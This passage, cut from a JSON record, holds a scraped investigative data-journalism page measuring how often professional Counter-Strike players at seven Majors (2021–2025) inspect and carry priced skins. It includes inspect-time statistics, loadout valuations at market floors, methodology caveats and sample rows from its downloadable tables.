        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nFIELD RECORD / COUNTER-STRIKE MAJORS · 2021–2025\n\nTheir stage. Their skins. Their economy.\n\nValve’s flagship competition is also a shop window for its item economy. Fans follow the player; the player carries the skin. Across seven Majors, our record shows how consistently priced cosmetics occupy that stage.\n\nRead the record ↓SIInvestigated & compiled by Agent SimonMajor field record · 5 October 2026\nEXHIBIT / 01INSPECT THE SYSTEM\n98.7%of recorded weapon inspections\ninvolve a non-default finish\nButterfly Knife / DopplerCatalogue illustration\n07Valve-backed Majors\n491maps in the inspect dataset\n960,770weapon inspect records\n203.66 hskinned-item inspect time¹\n\n¹ Summed player time. 280 match series from the final 16-team stage through the grand finals. How the numbers are read ↗\n\nIn this file 9 sections\n01 / THE RECORD557 OF 559\nThe exception is playing without one.\n\n557 of 559 player–Major records include an inspection of at least one weapon with a skin. That is 99.6%. The same pattern runs through all seven events.\n\nWHAT “SHOWCASE” MEANS HERE\n\nA live shop window inside the match. The player is the reference point. The skin becomes recognisable through repeated play; Inspect lifts and turns the object so the finish itself becomes the subject. The same object has a market name and a price.\n\nRecognise the player→Recognise the skin→Want the item\n99.6%\n\nAt least one skinned weapon in the inspect record.\n\n557 with a skin2 default-only records\nOne square = one nickname at one Major. Repeat appearances count again.\nTABLE 01 / The same pattern, event after event\nMajor\tWith a skin\tShare of records\tSkinned inspects\tSkinned hours\nStockholm 2021 ↗CS:GO · 70 maps\t78 / 78\t\n100.0%\t101,221\t43.19player-hours\nAntwerp 2022 ↗CS:GO · 71 maps\t78 / 79\t\n98.7%\t105,494\t41.27player-hours\nRio 2022 ↗CS:GO · 68 maps\t79 / 79\t\n100.0%\t134,474\t53.94player-hours\nParis 2023 ↗CS:GO · 67 maps\t77 / 78\t\n98.7%\t104,496\t44.77player-hours\nCopenhagen 2024 ↗CS2 · 73 maps\t79 / 79\t\n100.0%\t154,139\t7.01player-hours\nShanghai 2024 ↗CS2 · 72 maps\t84 / 84\t\n100.0%\t155,810\t6.15player-hours\nAustin 2025 ↗CS2 · 70 maps\t82 / 82\t\n100.0%\t192,598\t7.34player-hours\n\nSource: all-weapon player and event reports; hours summed from mapped inspect intervals. Download the calculation ↗\n\n“Cosmetic” describes what an item does to a weapon’s stats.\nIt does not describe what it does to demand.\n\nA professional player is more than another account in the player base. On the Major stage, the player is a reference point: a favourite team, a recognisable loadout, an object an audience can identify and want. The ordinary-player average does not answer what this stage puts on display.\n\n02 / TIME SPENT LOOKINGF / INSPECT\nThe skin becomes the moving foreground.\n\nA knife spins. A rifle turns its artwork towards the player. Inspect gives the cosmetic its own presentation inside the game. Explore eight new excerpts and the original frame study, then compare the item, the gloves and the rest of the frame.\n\nINSPECT ROOM / 09 EXAMPLESChoose an item · scroll the filmstrip →\n\nOpen the video examples and timestamps online.\n\nFIRST-PERSON VIEW / PARACORD KNIFE · CRIMSON WEBREADY / FIRST-PERSON VIEW\nFROM THE MAJOR ARCHIVE—recorded player-hours\n\nThe video illustrates the animation. These hours come from the separate demo dataset.\n\nExplore the players →Download these totals ↓\nOpen clip ↗\n\nIs one Inspect animation always 5 or 5.5 seconds?\n\nNo single duration applies across weapons and animations. A clip can contain the draw, a flourish, the inspect pose, a held pose and the return; the action may also repeat or be interrupted. The new excerpts run for 9–18 seconds. Their playback clock measures the excerpt, not one universal animation cycle.\n\nThe archive’s 203.66 hours count recorded Inspect-button intervals across players. The video examples and sampled screen-area percentages explain what the mechanic looks like; they do not replace those measurements.\n\nALL SKINNED WEAPONS203.66player-hours\n\nof recorded inspect-button intervals on items with a non-default finish.\n\n948,232skinned inspect records\n205.43 hall inspect records\nWhat exactly is timed? ↗\nSCREEN SHARE / ANNOTATED SAMPLES\nHow much of the frame is the object?\n\nChoose one of the annotated moments to see the visible weapon and gloves. Pink and cyan mark the measured surfaces; grey is the rest of the frame. Dim the background to examine the foreground. The denominator is the full 640 × 360 source frame.\n\n2.5 s / Inspect\nTHIS FRAME / APPROXIMATE7.5%\n\nof this frame occupied by the object and gloves\n\nDownload frame measurements ↓\nSampled screen area over the clip\nPink: object · cyan: gloves · grey: rest\n\nEach column represents 100% of its frame. “Rest” includes the scenery, HUD and sleeves; it is not a separately traced scenery mask.\n\nCoordinates, sources & calculation\n\nEach example has its own sampled timestamps and manually traced visible surfaces. The weapon includes its visible finish, handle or body and any applied stickers. Gloves are traced separately; sleeves and gaps between objects are excluded. Overlap is counted once. Foreground gloves take precedence in the new traces; the earlier Paracord trace retains its original weapon-first rule. The remaining pixels are labelled “rest of frame”: scenery, HUD, sleeves and any other untraced content.\n\nWeapon and glove pixels ÷ (640 × 360) × 100. These are approximate manual measurements of selected frames, not continuous segmentation. Each new excerpt has two annotated moments; the retained Paracord study has six. Different cameras, viewmodels and scenes do not form a controlled experiment.\n\nThe dimmed-background view is an editorial aid. It does not represent eye tracking, a saliency model or measured viewer attention. The illustrations are separate from the seven-Major records below. Visible animation intervals are approximate and are not demo input measurements.\n\nAll outlines, timestamps, source links and file hashes · JSON ↓\nAll frame measurements · CSV ↓\nTHE SCENE STAYS. THE ITEM PERFORMS.\nA small share of pixels can carry the show.\n\nThe world can occupy most of the screen while a blade spins directly in front of it. Dragon Lore offers a different presentation: the rifle turns its broad decorated side towards the player. Motion, proximity, colour and recognisable finishes give the cosmetic a distinct role within the play view.\n\nOur argument: this is a product display built into play. On the tournament stage, the player’s equipment becomes part of the image fans recognise and want to reproduce. Cosmetic performance is still presentation, even when it adds no weapon performance.\n\nThe percentages measure visible surface area. They cannot tell us what percentage of a viewer’s attention went to the object. The repeated display and accumulated Inspect time are documented separately below.\n\nSEVEN MAJORS / THE ACTUAL TIME RECORD\nFrom individual animations to 203.66 player-hours.\n99.14%of recorded Inspect time is on skinned items\n\n203.66 h skinned 1.77 h default\n\n203.6626 ÷ 205.4313 × 100\n95.87%of skinned-item Inspect time belongs to knives\n\n195.26 h knives 8.41 h other weapons\n\n702,919.943 ÷ 733,185.415 × 100\n\nTime-weighted shares; the 98.7% figure elsewhere counts Inspect records. Player intervals can overlap. These are shares of recorded Inspect time, not shares of match duration, broadcast duration or viewer attention.\n\nWhere those hours accumulate\n\nBars share a zero baseline. CS:GO and CS2 use different input implementations; their recorded button durations are not equivalent animation lengths. Counts and hours are summed across simultaneous players, not a broadcast timeline.\n\nFrom a demo interval to the number on this page\n\nFor each mapped skinnable-weapon record: max(0, end_s − start_s). For the skinned total, retain paint_kit ≠ 0. Sum across players and maps, then divide by 3,600.\n\n733,185.415 seconds÷ 3,600203.6626 hours\n\nThe parser observes the inspect input state. It does not record the broadcast director’s camera, animation completion or the number of viewers. An item can remain visible outside Inspect; these hours are not the full time a skin appears in play.\n\n03 / ALWAYS IN THE FRAMETHE GLOVE LAYER / 122 MATCH SERIES\nThe knife goes away. The gloves remain.\n\nThe weapon changes. The gloves stay. In ordinary first-person play, the gloves are part of the visible hands: holding the rifle, drawing a knife, reloading and inspecting. They do not need a separate Inspect action to be displayed.\n\nNon-default glove finishes are market-valued cosmetic items, separate from the free default gloves. A player may buy, trade, borrow or receive a pair; the cosmetic value is there regardless of who paid. 374 of 390 player–Major glove records use a non-default pair.\n\n“Stay” describes the equipped first-person hands, not uninterrupted visibility in every frame. Spectator camera changes, death, menus and other views interrupt that visibility.\n\nA player switches from a knife to a rifle. The gloves stay on the hands holding it. Their visual presence does not depend on pressing Inspect.\n\nWeapon finishes occupy the held object. Gloves occupy the hands around it: shooting, reloading and inspecting all take place in the same first-person view. They recur throughout active play, rather than in one isolated showcase animation.\n\nSport Gloves / Pandora’s BoxSteam catalogue illustration\n95.9%374 of 390 player records\nhave skinned gloves\n1,909.37 hsummed tracked player spans\nassociated with skinned gloves²\n\n² From the supplied glove report’s time field: first-to-last tracked player spans, summed across players. These spans include time when a player is not the observed camera or their hands are not visible; they are not measured screen exposure. Glove and inspect hours overlap and must not be added. Glove records ↗\n\n04 / SEVEN MAJORSSTOCKHOLM → AUSTIN\nDifferent winners. The same showcase.\n\nSelect a Major. Follow the teams, the recorded matches and the skins behind the event-level totals.\n\nThe emblem on each selector identifies that Major’s champion. Team artwork is taken from in-game tournament stickers.\n\n05 / THE DEMAND MACHINETHE LINK TO THIS INVESTIGATION\nThe match is also an advertisement.\n\nOur argument is direct: repeated display by admired professionals advertises the objects, even without a price tag or a sponsor’s logo. Valve backs the stage, creates the items and controls the Steam infrastructure through which those items circulate. “Only cosmetic” describes their lack of a performance advantage; it does not remove their commercial function.\n\n01 / VALVE-BACKED STAGEThe Major\n\nProfessional competition and the players fans follow.\n\n02 / REPEATED DISPLAYThe recognisable item\n\nThe finish, knife and gloves become part of a player’s on-screen identity.\n\n03 / ASPIRATION“I want that one.”\n\nOur argument: admired players turn visible items into desirable objects.\n\n04 / THE ECONOMYOne item. Two markets.\n\nSteam supplies the item infrastructure. Price discovery and cash trading extend onto external venues.\n\nFollow the market mechanics →\n\nThe dataset measures professional use and inspect activity. The demand pathway above is the investigation’s interpretation of that exposure; it is not a measured sales-conversion rate.\n\nValve is inside the picture.\n\nValve’s first Major announcement explicitly linked its tournament prize fund to revenue from in-game items. Its Major rulebook sets requirements for organisers and includes the use of players’ likenesses in Counter-Strike-related media. The platform, competition and item economy are connected by design.\n\nValve’s prize-fund announcement ↗Valve’s Major rulebook ↗\nFree to play. Not free from the sales pitch.\n\nFor a young fan learning the game, professional matches and the surrounding player culture can make a knife more than equipment: it becomes a recognisable sign of belonging. “My favourite player has it” is the demand mechanism this investigation examines.\n\nOur sample makes the visible norm concrete: 557 of 559 player–Major records include skinned-weapon Inspect; 98.7% of recorded weapon inspections concern skins; 95.9% of glove records use a non-default pair. A free default exists. On this stage, the priced alternative dominates.\n\nWhen someone says “many players use no skins”, who counts?\n\nAsk for the denominator: active Counter-Strike participants, all Steam accounts, idle accounts or automated accounts? Ask for the time window and definition of “uses a skin”. A platform-wide total does not describe the professional example that a fan watches.\n\nThis dataset cannot establish which accounts Valve includes. Bots and idle-hour activity are questions for that methodology, not findings proved by these demos. Here, the denominator is explicit: the recorded players at seven Majors.\n\nTHE ACQUISITION QUESTION\nThe finish is visible. The supply chain is not.\n\nA coordinated premium loadout does not require the player to win every item from a case. Direct purchases, trades, collector loans and sponsor-supplied items are alternative routes. Our working hypothesis is that external sourcing helps put desirable items on this stage; these match records establish use, not which route a particular player took.\n\nThe tension is explicit in Valve’s current tournament rules. Section 2.4(e) restricts broadcasts from displaying material that violates Valve’s agreements, naming case-opening and skin-trading sites, and restricts sponsorships tied to Valve’s game economies. The external brand can be excluded while the desirable inventory remains on screen.\n\nValve’s tournament licence · §2.4(e) ↗\n\nCurrent rule cited as context; it is not applied retroactively to all seven sampled events. Individual purchases, loans and sponsorships require transaction or contract evidence.\n\nThe player becomes the reference.\nThe skin becomes the aspiration.\nThe market sells the object.\nCONTINUE / PRICE ATLASWhere the price climbs beyond Steam’s marketRead the atlas →CONTINUE / AUTHENTICATIONA blocked site. A working Steam login.Follow the route →\n\nTHE MAJOR RECORD CONTINUES / AGENT ROWAN\n\nFrom the skin showcase to the gambling sponsor.\n\nCSGORoll’s G2 announcement placed a branded slot-machine activation at the Paris Major. Its later instructions asked sellers for Steam session tokens. Follow the sponsorship, the 2016 demands and the public enforcement record.\n\nTen days to stop. Seven years later, at G2’s booth. →\n06 / THE CARRIED VALUE122-MATCH SUBSET\nMore than a colour on a weapon.\n\nPricing the observed cosmetic classes at the checked market floors gives a $6,127,115 matched-price subtotal across 395 player–Major loadout records. The average subtotal is $15,512.\n\n$6.13msummed matched-price subtotals\n93.0%5,932 of 6,381 recorded weapon slots skinned\n96.7%\n382 of 395 records exceed $2,000 before individual-item premiums.\n\n384 exceed $1,800. Missing quotes add nothing to these subtotals: 43 of 6,044 selected item observations remain unpriced, across 42 records. A subtotal is not a complete inventory valuation.\n\nThe loadout layer records carried weapons beyond the Inspect button. All 396 player–Major records in this subset have at least one skinned weapon. The separate pricing selection yields 395 records. Prices are current catalogue-class references checked on 5 October 2026, applied to historical observations.\n\nTABLE 02 / The value carried through the sample\nMajor\tSeries covered\tRecords\tAverage subtotal\tSummed subtotals\nStockholm 2021\t1 / 40\t10\t$18,302\t$183,024\nAntwerp 2022\t3 / 40\t25\t$16,334\t$408,356\nRio 2022\t4 / 40\t39\t$11,107\t$433,162\nParis 2023\t28 / 40\t80\t$13,312\t$1,064,979\nCopenhagen 2024\t37 / 40\t80\t$15,993\t$1,279,455\nShanghai 2024\t22 / 40\t78\t$17,532\t$1,367,501\nAustin 2025\t27 / 40\t83\t$16,755\t$1,390,638\n\nCurrent listing floors, not historical purchase prices or completed sales. The selection takes the earliest demo-relative observation per weapon slot and player–Major group, plus one glove pair; it does not establish ownership or a complete personal inventory. Repeated players and borrowed items may be represented. Corrected player subtotals CSV ↓ · Every selected item and quote CSV ↓ · Major totals CSV ↓\n\n07 / PLAYER FILESTHE PERSON · THE OBJECT · THE VALUE\nYour favourite player. A priced collection.\n\nSelect a player and a Major. See the finishes they inspected most, the time accumulated on each item and the matched-price subtotal for their recorded loadout.\n\nOur pricing strategy: the lower end of the matching market class\n\nModel, finish, phase and wear must match. The price layer uses normal-item listing floors published in Waxpeer’s model catalogues, checked on 5 October 2026. It does not replace a Sapphire with a generic Doppler or price one knife model as another.\n\nExact float, pattern seed, stickers, StatTrak, Souvenir status and provenance are outside this calculation. Rare combinations can be worth multiples of the class baseline. We do not assume that every item carries such a premium, and we do not claim these asks are the purchase price or current value of the player’s exact item.\n\nThese current references are applied to historical Major observations. An absent exact quote stays unpriced. Loadout panels show the subtotal of matched quotes and their coverage.\n\nFor the individual collectible, consult SkinsAtlas pro inventories ↗ and the player’s Waxpeer profile. These profiles describe current inventories, which can differ from the sampled match.\n\nCorrection record: the original knife lookup confused eight model names, affecting 68 displayed skinned-item variants and one default-knife aggregate. Models and phases now resolve from item-definition and paint-kit IDs in the supplied catalogue. Original CSVs remain unchanged as source records; their affected labels and valuations are superseded by the corrected layer.\n\nIdentity and price correction log ↓ · Price snapshot and provenance ↓ · All displayed item prices CSV ↓ · Corrected catalogue CSV ↓\n\nExplore the player files and their source data online.\n\nOpen “Price & source” for the exact catalogue class, checked quote and pricing method. Original reports remain downloadable; corrected prices and model labels are documented above.\n\nTHE MOST INSPECTED FINISHES\nWhat keeps returning to their hands.\n\nRanked by summed player Inspect time across the seven Majors. Each row opens the players who inspected that exact finish, phase and wear class.\n\n08 / EXPLORE THE DATATHE RECORD IS OPEN\nFrom the headline to the individual row.\n\nOne row per nickname–Major group; inspect time includes default and skinned weapons.\n\nEVERY TABLE / ORIGINAL PRECISION\nOpen the collection.\n\nAll 16 report tables, with individual CSV downloads. The raw map tables sit beneath them; the data pack keeps the collection together.\n\n01 / Knife records by player556 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tknife_events\tdefault_events\thas_skin\tinspect_time_s\tinspect_time_min\nIEM Rio Major 2022\tJame\t5517\t0\tyes\t9010.8\t150.18\nPGL Major Stockholm 2021\thuNter\t2851\t0\tyes\t8022.0\t133.70\nIEM Rio Major 2022\tPatsi\t6581\t0\tyes\t7318.7\t121.98\nIEM Rio Major 2022\tQikert\t2471\t0\tyes\t5721.0\t95.35\nIEM Rio Major 2022\tstavn\t3338\t0\tyes\t5692.2\t94.87\nPGL Major Antwerp 2022\thuNter\t1812\t0\tyes\t5606.2\t93.44\n02 / Knife finishes1,053 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tknife\tfinish\tphase\twear\tinspect_time_s\tinspect_time_min\nIEM Rio Major 2022\tJame\tButterfly Knife\tNight\t\tField-Tested\t7514.2\t125.24\nIEM Rio Major 2022\tQikert\tNomad Knife\tCrimson Web\t\tMinimal Wear\t5721.0\t95.35\nIEM Rio Major 2022\tstavn\tButterfly Knife\tTiger Tooth\t\tFactory New\t5692.2\t94.87\nPGL Major Stockholm 2021\thuNter\tKarambit\tDoppler\tBlack Pearl\tFactory New\t5566.6\t92.78\nBLAST.tv Paris Major 2023\tCRUC1AL\tParacord Knife\tMarble Fade\t\tFactory New\t4887.6\t81.46\nIEM Rio Major 2022\ttorzsi\tButterfly Knife\tDoppler\tPhase 1\tFactory New\t4854.6\t80.91\n03 / Knife totals by Major7 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tmatches_with_data\tplayers\tplayers_skin_knife\tplayers_default_knife\tpct_skin\tknife_inspect_events\ttotal_inspect_time_min\nPGL Major Stockholm 2021\t40\t78\t77\t1\t98.7\t96840\t2509.9\nPGL Major Antwerp 2022\t40\t78\t77\t1\t98.7\t98673\t2376.4\nIEM Rio Major 2022\t40\t77\t77\t0\t100.0\t130939\t3160.0\nBLAST.tv Paris Major 2023\t40\t78\t76\t2\t97.4\t99297\t2604.2\nPGL CS2 Major Copenhagen 2024\t40\t79\t78\t1\t98.7\t147767\t390.6\nPerfect World Shanghai Major 2024\t40\t84\t82\t2\t97.6\t151965\t349.1\n04 / Knife price snapshot1,053 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tknife\tfinish\tphase\twear\tinspect_time_min\tmarket_hash_name\tbuff_ask_usd\tcsfloat_ask_usd\nIEM Rio Major 2022\tJame\tButterfly Knife\tNight\t\tField-Tested\t125.24\t★ Butterfly Knife | Night (Field-Tested)\t496.24\t484.67\nIEM Rio Major 2022\tQikert\tNomad Knife\tCrimson Web\t\tMinimal Wear\t95.35\t★ Nomad Knife | Crimson Web (Minimal Wear)\t185.68\t188.68\nIEM Rio Major 2022\tstavn\tButterfly Knife\tTiger Tooth\t\tFactory New\t94.87\t★ Butterfly Knife | Tiger Tooth (Factory New)\t1048.66\t1012.65\nPGL Major Stockholm 2021\thuNter\tKarambit\tDoppler\tBlack Pearl\tFactory New\t92.78\t★ Karambit | Doppler (Factory New)\t7450.88\t7733\nBLAST.tv Paris Major 2023\tCRUC1AL\tParacord Knife\tMarble Fade\t\tFactory New\t81.46\t★ Paracord Knife | Marble Fade (Factory New)\t112.81\t109.18\nIEM Rio Major 2022\ttorzsi\tButterfly Knife\tDoppler\tPhase 1\tFactory New\t80.91\t★ Butterfly Knife | Doppler (Factory New)\t2145.75\t2107.51\n05 / All-weapon player records559 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tinspect_events\tdefault_events\tskinned_events\tpct_skinned\thas_skinned_weapon\tinspect_time_min\nIEM Rio Major 2022\tJame\t5563\t3\t5560\t99.9\tyes\t150.46\nPGL Major Stockholm 2021\thuNter\t3115\t5\t3110\t99.8\tyes\t137.35\nIEM Rio Major 2022\tPatsi\t6749\t2\t6747\t100.0\tyes\t123.04\nIEM Rio Major 2022\tQikert\t2718\t0\t2718\t100.0\tyes\t102.06\nPGL Major Antwerp 2022\thuNter\t1970\t1\t1969\t99.9\tyes\t98.75\nIEM Rio Major 2022\tstavn\t3404\t0\t3404\t100.0\tyes\t95.66\n06 / Weapon categories47 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nweapon\tcategory\tinspect_events\tdefault_events\tskinned_events\tpct_skinned\tinspect_time_min\nButterfly Knife\tKnives\t393260\t8304\t384956\t97.9\t4085.76\nKarambit\tKnives\t228118\t19\t228099\t100.0\t2546.21\nM9 Bayonet\tKnives\t109996\t24\t109972\t100.0\t1811.93\nParacord Knife\tKnives\t47354\t383\t46971\t99.2\t907.81\nSurvival Knife\tKnives\t32777\t40\t32737\t99.9\t609.13\nNomad Knife\tKnives\t27585\t611\t26974\t97.8\t361.49\n07 / All-weapon event totals7 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tmatches_with_data\tplayers\tplayers_with_skin\tplayers_default_only\tpct_players_with_skin\tinspect_events\tskinned_events\tpct_skinned_events\tinspect_time_min\nPGL Major Stockholm 2021\t40\t78\t78\t0\t100.0\t102683\t101221\t98.6\t2612.7\nPGL Major Antwerp 2022\t40\t79\t78\t1\t98.7\t106006\t105494\t99.5\t2488.7\nIEM Rio Major 2022\t40\t79\t79\t0\t100.0\t136221\t134474\t98.7\t3256.6\nBLAST.tv Paris Major 2023\t40\t78\t77\t1\t98.7\t106224\t104496\t98.4\t2724.5\nPGL CS2 Major Copenhagen 2024\t40\t79\t79\t0\t100.0\t155740\t154139\t99.0\t424.5\nPerfect World Shanghai Major 2024\t40\t84\t84\t0\t100.0\t160544\t155810\t97.1\t376.9\n08 / Most inspected skins100 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tweapon\tfinish\tphase\twear\tinspect_time_min\nIEM Rio Major 2022\tJame\tButterfly Knife\tNight\t\tField-Tested\t125.24\nIEM Rio Major 2022\tQikert\tNomad Knife\tCrimson Web\t\tMinimal Wear\t95.35\nIEM Rio Major 2022\tstavn\tButterfly Knife\tTiger Tooth\t\tFactory New\t94.87\nPGL Major Stockholm 2021\thuNter\tKarambit\tDoppler\tBlack Pearl\tFactory New\t92.78\nBLAST.tv Paris Major 2023\tCRUC1AL\tParacord Knife\tMarble Fade\t\tFactory New\t81.46\nIEM Rio Major 2022\ttorzsi\tButterfly Knife\tDoppler\tPhase 1\tFactory New\t80.91\n09 / Gloves by player390 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tgloves\tfinish\twear\thas_skinned_gloves\ton_screen_min\nPGL CS2 Major Copenhagen 2024\tjL\tSport Gloves\tHedge Maze\tField-Tested\tyes\t835.72\nPGL CS2 Major Copenhagen 2024\tw0nderful\tSpecialist Gloves\tCrimson Kimono\tMinimal Wear\tyes\t835.72\nPGL CS2 Major Copenhagen 2024\tiM\tSpecialist Gloves\tCrimson Kimono\tMinimal Wear\tyes\t835.67\nPGL CS2 Major Copenhagen 2024\tb1t\tSpecialist Gloves\tCrimson Kimono\tField-Tested\tyes\t835.67\nPGL CS2 Major Copenhagen 2024\tAleksib\tMoto Gloves\tSpearmint\tField-Tested\tyes\t835.59\nPGL CS2 Major Copenhagen 2024\tbroky\tSpecialist Gloves\tCrimson Kimono\tField-Tested\tyes\t781.35\n10 / Gloves by Major7 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tmatches_with_data\tplayers\tplayers_skinned_gloves\tplayers_default_gloves\tpct_skinned\ttotal_on_screen_min\nPGL Major Stockholm 2021\t1\t10\t10\t0\t100.0\t950.2\nPGL Major Antwerp 2022\t3\t25\t24\t1\t96.0\t3918.3\nIEM Rio Major 2022\t4\t40\t38\t2\t95.0\t2696.0\nBLAST.tv Paris Major 2023\t28\t80\t76\t4\t95.0\t31404.3\nPGL CS2 Major Copenhagen 2024\t37\t80\t77\t3\t96.2\t34703.4\nPerfect World Shanghai Major 2024\t22\t75\t73\t2\t97.3\t21500.5\n11 / Carried loadouts by player396 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tweapons_carried\tweapons_skinned\tpct_skinned\thas_skin\tmatch_min\nBLAST.tv Austin Major 2025\tzont1x\t13\t13\t100.0\tyes\t110.61\nBLAST.tv Austin Major 2025\tmagixx\t16\t16\t100.0\tyes\t110.61\nBLAST.tv Austin Major 2025\tJimpphat\t19\t17\t89.5\tyes\t110.29\nBLAST.tv Austin Major 2025\ttorzsi\t18\t18\t100.0\tyes\t110.23\nBLAST.tv Austin Major 2025\tsh1ro\t20\t17\t85.0\tyes\t110.14\nBLAST.tv Austin Major 2025\tchopper\t17\t17\t100.0\tyes\t109.96\n12 / Carried weapon slots50 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nweapon\tcarried_slots\tskinned_slots\tpct_skinned\nAK-47\t393\t393\t100.0\nGlock-18\t392\t382\t97.4\nUSP-S\t390\t386\t99.0\nM4A1-S\t388\t388\t100.0\nDesert Eagle\t380\t373\t98.2\nGalil AR\t368\t344\t93.5\n13 / Carried loadouts by Major7 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tmatches_with_data\tplayers\tplayers_with_skin\tplayers_default_only\tpct_players_with_skin\tweapon_slots\tskinned_slots\tpct_skinned_slots\nPGL Major Stockholm 2021\t1\t10\t10\t0\t100.0\t131\t113\t86.3\nPGL Major Antwerp 2022\t3\t25\t25\t0\t100.0\t359\t338\t94.2\nIEM Rio Major 2022\t4\t40\t40\t0\t100.0\t445\t391\t87.9\nBLAST.tv Paris Major 2023\t28\t80\t80\t0\t100.0\t1399\t1276\t91.2\nPGL CS2 Major Copenhagen 2024\t37\t80\t80\t0\t100.0\t1466\t1353\t92.3\nPerfect World Shanghai Major 2024\t22\t78\t78\t0\t100.0\t1222\t1163\t95.2\n14 / Player loadout valuations395 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tplayer\tknife_usd\tguns_usd\tgloves_usd\ttotal_usd\tskins_count\nPGL CS2 Major Copenhagen 2024\tb1t\t2652.44\t31839.03\t6838.23\t41329.70\t23\nPerfect World Shanghai Major 2024\tJimpphat\t2952.86\t28311.91\t6838.23\t38103.00\t14\nPerfect World Shanghai Major 2024\tdonk\t1765.91\t28332.22\t6838.23\t36936.36\t17\nBLAST.tv Austin Major 2025\tmagixx\t1765.91\t30948.69\t3680.83\t36395.43\t17\nBLAST.tv Paris Major 2023\tm0NESY\t886.53\t31336.19\t2473.76\t34696.48\t17\nPGL Major Stockholm 2021\tb1t\t1683.72\t28982.14\t3179.00\t33844.86\t13\n15 / Major valuation totals7 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nevent\tmatches_with_data\tplayers\ttotal_loadout_usd\tavg_loadout_usd\nPGL Major Stockholm 2021\t1\t10\t161041.01\t16104.10\nPGL Major Antwerp 2022\t3\t25\t306281.82\t12251.27\nIEM Rio Major 2022\t4\t39\t320859.03\t8227.15\nBLAST.tv Paris Major 2023\t28\t80\t820636.69\t10257.96\nPGL CS2 Major Copenhagen 2024\t37\t80\t949007.90\t11862.60\nPerfect World Shanghai Major 2024\t22\t78\t1101000.25\t14115.39\n16 / Skin catalogue and market links1,448 rows · CSV\n\nDownload complete table ↓ · First six rows below; original fields and precision retained.\n\nmarket_hash_name\tplayers_count\tcsfloat_url\tsteam_market_url\tskinport_url\nDesert Eagle | Blaze (Factory New)\t144\thttps://csfloat.com/search?name=Desert%20Eagle%20%7C%20Blaze%20%28Factory%20New%29\thttps://steamcommunity.com/market/listings/730/Desert%20Eagle%20%7C%20Blaze%20%28Factory%20New%29\thttps://skinport.com/market?search=Desert%20Eagle%20%7C%20Blaze%20%28Factory%20New%29\nM4A1-S | Blue Phosphor (Factory New)\t134\thttps://csfloat.com/search?name=M4A1-S%20%7C%20Blue%20Phosphor%20%28Factory%20New%29\thttps://steamcommunity.com/market/listings/730/M4A1-S%20%7C%20Blue%20Phosphor%20%28Factory%20New%29\thttps://skinport.com/market?search=M4A1-S%20%7C%20Blue%20Phosphor%20%28Factory%20New%29\nAK-47 | Fire Serpent (Field-Tested)\t124\thttps://csfloat.com/search?name=AK-47%20%7C%20Fire%20Serpent%20%28Field-Tested%29\thttps://steamcommunity.com/market/listings/730/AK-47%20%7C%20Fire%20Serpent%20%28Field-Tested%29\thttps://skinport.com/market?search=AK-47%20%7C%20Fire%20Serpent%20%28Field-Tested%29\nM4A1-S | Hot Rod (Factory New)\t124\thttps://csfloat.com/search?name=M4A1-S%20%7C%20Hot%20Rod%20%28Factory%20New%29\thttps://steamcommunity.com/market/listings/730/M4A1-S%20%7C%20Hot%20Rod%20%28Factory%20New%29\thttps://skinport.com/market?search=M4A1-S%20%7C%20Hot%20Rod%20%28Factory%20New%29\nAK-47 | Wild Lotus (Factory New)\t122\thttps://csfloat.com/search?name=AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29\thttps://steamcommunity.com/market/listings/730/AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29\thttps://skinport.com/market?search=AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29\nAK-47 | Redline (Minimal Wear)\t118\thttps://csfloat.com/search?name=AK-47%20%7C%20Redline%20%28Minimal%20Wear%29\thttps://steamcommunity.com/market/listings/730/AK-47%20%7C%20Redline%20%28Minimal%20Wear%29\thttps://skinport.com/market?search=AK-47%20%7C%20Redline%20%28Minimal%20Wear%29\nRaw skins tables508 files\n68259_evil-geniuses-vs-faze-dust2.dem.skins.csv ↓\n68260_g2-vs-copenhagen-flames-ancient.dem.skins.csv ↓\n68262_gambit-vs-ence-overpass.dem.skins.csv ↓\n68263_liquid-vs-entropiq-vertigo.dem.skins.csv ↓\n68264_vitality-vs-virtus-pro-inferno.dem.skins.csv ↓\n68266_nip-vs-mouz-inferno.dem.skins.csv ↓\n68267_natus-vincere-vs-heroic-ancient.dem.skins.csv ↓\n68268_furia-vs-astralis-inferno.dem.skins.csv ↓\n68270_evil-geniuses-vs-copenhagen-flames-nuke.dem.skins.csv ↓\n68271_g2-vs-faze-mirage.dem.skins.csv ↓\n68273_liquid-vs-ence-dust2.dem.skins.csv ↓\n68274_gambit-vs-entropiq-vertigo.dem.skins.csv ↓\n68279_vitality-vs-heroic-overpass.dem.skins.csv ↓\n68280_natus-vincere-vs-virtus-pro-overpass.dem.skins.csv ↓\n68281_furia-vs-mouz-inferno.dem.skins.csv ↓\n68282_nip-vs-astralis-inferno.dem.skins.csv ↓\n68287_faze-vs-copenhagen-flames-ancient.dem.skins.csv ↓\n68288_gambit-vs-virtus-pro-vertigo.dem.skins.csv ↓\n68289_liquid-vs-furia-inferno.dem.skins.csv 